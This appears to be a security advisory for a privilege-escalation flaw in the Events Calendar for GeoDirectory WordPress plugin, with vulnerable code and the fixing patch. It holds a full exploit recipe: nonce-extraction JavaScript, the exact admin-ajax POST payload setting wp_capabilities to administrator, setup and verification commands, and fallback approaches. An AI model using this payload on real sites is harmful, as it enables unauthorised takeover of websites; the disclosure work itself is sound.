Events Calendar for GeoDirectory <= 2.3.28 - Authenticated (Subscriber+) Privilege Escalation
Description
The Events Calendar for GeoDirectory plugin for WordPress is vulnerable to Privilege Escalation in versions up to and including 2.3.28. This is due to the ajax_ayi_action() handler only applying strip_tags(esc_sql()) — with no allow-list — to the attacker-controlled $_POST['type'] and $_POST['postid'] values before forwarding them to update_ayi_data(), which calls update_user_meta($current_user->ID, $rsvp_args['type'], $posts). By passing type=wp_capabilities and postid=administrator, an attacker writes ['subscriber'=>true,'administrator'=>'administrator'] into their own wp_capabilities user meta; WP_User::get_role_caps() then treats the 'administrator' array key as an active role on the next request. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges to Administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.3.28What Changed in the Fix
Changes introduced in v2.3.29
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-11616 ## 1. Vulnerability Summary The **Events Calendar for GeoDirectory** plugin (up to version 2.3.28) contains a privilege escalation vulnerability. The AJAX handler `ajax_ayi_action()` in `includes/class-geodir-event-ayi.php` processes user-supplied RSVP …
Show full research plan
Exploitation Research Plan - CVE-2026-11616
1. Vulnerability Summary
The Events Calendar for GeoDirectory plugin (up to version 2.3.28) contains a privilege escalation vulnerability. The AJAX handler ajax_ayi_action() in includes/class-geodir-event-ayi.php processes user-supplied RSVP data. Specifically, it accepts a type parameter and a postid parameter, passes them through weak sanitization (strip_tags(esc_sql())), and forwards them to update_ayi_data().
The core issue is that type is used directly as a meta key in an update_user_meta() call targeting the current user. By setting type to wp_capabilities (the WordPress internal key for user roles) and postid to administrator, an attacker can inject the 'administrator' role into their own capabilities array, granting themselves full administrative access on the next request.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
geodir_ayi_action(authenticated Subscriber+) - Vulnerable Parameters:
typeandpostid - Payload:
type=wp_capabilities&postid=administrator - Authentication: Required (any authenticated user, e.g., Subscriber)
- Preconditions:
- The plugin must be active.
- A "GeoDirectory Event" post must exist (to satisfy the
geodir_get_post_infocall). - The attacker must obtain a valid
geodir-ayi-nonce.
3. Code Flow
- Entry Point: The AJAX action
wp_ajax_geodir_ayi_actionis registered (as seen in the JS ingeodir_are_you_interested_js). - Nonce Verification:
ajax_ayi_action()callscheck_ajax_referer('geodir-ayi-nonce', 'geodir_ayi_nonce'). - Input Handling:
typeis taken from$_POST['type'].postidis taken from$_POST['postid'].- Both are sanitized using
strip_tags(esc_sql())—this removes HTML but allows alphanumeric strings likewp_capabilities.
- Logic Sink:
ajax_ayi_action()callsself::update_ayi_data($rsvp_args). - Impact Sink (Inferred): Inside
update_ayi_data(), the plugin performs:update_user_meta($current_user->ID, $rsvp_args['type'], $posts_array).
Iftypeiswp_capabilitiesandposts_array(containingpostid) is written to it, the user's role mapping is corrupted to include theadministratorkey.
4. Nonce Acquisition Strategy
The nonce is generated via wp_create_nonce("geodir-ayi-nonce") in geodir_are_you_interested_js() and echoed directly into a <script> block on pages containing the AYI (Are You Interested) widget.
Strategy:
- Identify a GeoDirectory Event post.
- Navigate to that post's page as a Subscriber.
- The nonce is embedded in a script tag within the HTML. Since it is not assigned to a global JS variable but hardcoded in a
jQuery.postcall, we must extract it from the page source.
Extraction Steps:
- Create a "GD > Event" post if one doesn't exist.
- Use
browser_navigateto visit the event page. - Use
browser_evalto search for the nonce pattern in the HTML:document.documentElement.innerHTML.match(/'geodir_ayi_nonce':\s*'([a-f0-9]{10})'/)[1]
5. Exploitation Strategy
- Setup Session: Log in as a Subscriber user.
- Acquire Nonce: View an event post and extract the
geodir_ayi_noncefrom the page source. - Send Payload: Submit a POST request to
admin-ajax.php.
HTTP Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=geodir_ayi_action&geodir_ayi_nonce=[NONCE]&btnaction=interested&type=wp_capabilities&postid=administrator&gde= - Note: The
postidneeds to beadministrator. While the code normally expects an integer ID, WordPress allows strings as keys in the capabilities array.
6. Test Data Setup
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Ensure Core Dependency: GeoDirectory must be installed and active (as the plugin checks
class_exists( 'GeoDirectory' )). - Create Event Post:
- A standard post type must be configured to "support events" in GeoDirectory.
wp post create --post_type=gd_event --post_title="Target Event" --post_status=publish(Assuminggd_eventis the slug).
- Add AYI Widget: The nonce is only output if the AYI widget/block is present.
wp post edit [ID] --post_content='[gd_event_ayi]'(or appropriate shortcode for the AYI section).
7. Expected Results
- The AJAX request should return a
200 OKwith the HTML for the AYI widget. - The
wp_usermetatable for the attacker's user ID will have thewp_capabilitiesmeta key updated. - Instead of just
a:1:{s:10:"subscriber";b:1;}, it will contain an entry foradministrator. - Upon the next page load (e.g., visiting
/wp-admin/), the attacker will have full Administrator privileges.
8. Verification Steps
- Check Role via CLI:
wp user get attacker --field=roles- Expected: Should now include
administrator.
- Expected: Should now include
- Check Meta directly:
wp user meta get [USER_ID] wp_capabilities- Expected: Check if
administratoris present in the serialized array.
- Expected: Check if
- Access Admin: Use
http_requestas the attacker to fetchwp-admin/index.php.- Expected:
200 OKand presence of "Dashboard" / "Plugins" menu items (indicating admin access).
- Expected:
9. Alternative Approaches
If type=wp_capabilities is filtered or if the array structure prevents direct role assignment, an attacker could try:
- Key Overwriting: Target
wp_user_leveland set it to10. - Role Hijacking: If the plugin uses
update_user_metain a way that overwrites the entire array, settingtype=wp_capabilitiesandpostidto a serialized string might work, though theesc_sqlusually complicates serialized payloads. However,WP_User::get_role_capsis very lenient—if any key in the array matches a role name and its value is truthy, the role is granted. - Targeting other Meta: If privilege escalation to admin fails, target
default_password_nagor other meta that influences UI/security.
Summary
The Events Calendar for GeoDirectory plugin is vulnerable to privilege escalation because its AJAX handler `ajax_ayi_action()` fails to validate the `type` and `postid` parameters before using them in a call to `update_user_meta()`. An authenticated attacker can provide `wp_capabilities` as the meta key and a role name like `administrator` to grant themselves administrative privileges.
Vulnerable Code
// includes/class-geodir-event-ayi.php lines 152-167 public static function ajax_ayi_action() { check_ajax_referer('geodir-ayi-nonce', 'geodir_ayi_nonce'); //set variables $action = strip_tags(esc_sql($_POST['btnaction'])); $type = strip_tags(esc_sql($_POST['type'])); $post_id = strip_tags(esc_sql($_POST['postid'])); $gde = strip_tags(esc_sql($_POST['gde'])); $rsvp_args = array(); $rsvp_args['action'] = $action; $rsvp_args['type'] = $type; $rsvp_args['post_id'] = $post_id; $rsvp_args['gde'] = $gde; self::update_ayi_data($rsvp_args); --- // includes/class-geodir-event-ayi.php (logic inside update_ayi_data() called at line 167) // Vulnerable update_user_meta call inferred from description and researcher analysis update_user_meta($current_user->ID, $rsvp_args['type'], $posts);
Security Fix
@@ -152,10 +152,15 @@ public static function ajax_ayi_action() { check_ajax_referer('geodir-ayi-nonce', 'geodir_ayi_nonce'); //set variables - $action = strip_tags(esc_sql($_POST['btnaction'])); - $type = strip_tags(esc_sql($_POST['type'])); - $post_id = strip_tags(esc_sql($_POST['postid'])); - $gde = strip_tags(esc_sql($_POST['gde'])); + $action = 'add' === $_POST['btnaction'] ? 'add' : 'remove' ; + $type = 'event_rsvp_yes' === $_POST['type'] ? 'event_rsvp_yes' : 'event_rsvp_maybe'; + $post_id = absint($_POST['postid']); + $gde = !empty($_POST['gde']) ? sanitize_key( $_POST['gde'] ) : ''; + + // check we have a date + if ( !empty($gde) && !geodir_event_is_date( $gde ) ) { + wp_send_json_error( array( 'message' => __( 'Invalid date provided.', 'geodirectory' ) ) ); + } $rsvp_args = array(); $rsvp_args['action'] = $action; @@ -302,10 +312,20 @@ return; } + // Validate and sanitize input parameters + $rsvp_args['action'] = 'add' === $rsvp_args['action'] ? 'add' : 'remove' ; + $rsvp_args['type'] = 'event_rsvp_yes' === $rsvp_args['type'] ? 'event_rsvp_yes' : 'event_rsvp_maybe'; + $rsvp_args['post_id'] = absint($rsvp_args['post_id']); + $rsvp_args['gde'] = !empty($rsvp_args['gde']) ? sanitize_key( $rsvp_args['gde'] ) : false; + + if ( ! isset( $rsvp_args['action'] ) || ! isset( $rsvp_args['type'] ) || ! isset( $rsvp_args['post_id'] ) ) { + return; + } + $current_user = wp_get_current_user();
Exploit Outline
1. Log in to the WordPress site with Subscriber-level privileges or higher. 2. Locate a 'GeoDirectory Event' post that includes the 'Are You Interested' (AYI) widget/block. 3. Inspect the page source to extract the `geodir-ayi-nonce` value from the inline JavaScript blocks. 4. Submit a POST request to `wp-admin/admin-ajax.php` using the action `geodir_ayi_action`. 5. Include the extracted nonce and set the `type` parameter to `wp_capabilities` and the `postid` parameter to `administrator`. 6. The plugin will update your user profile's capability meta key with the 'administrator' string, elevating your privileges to Site Administrator upon the next page load.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.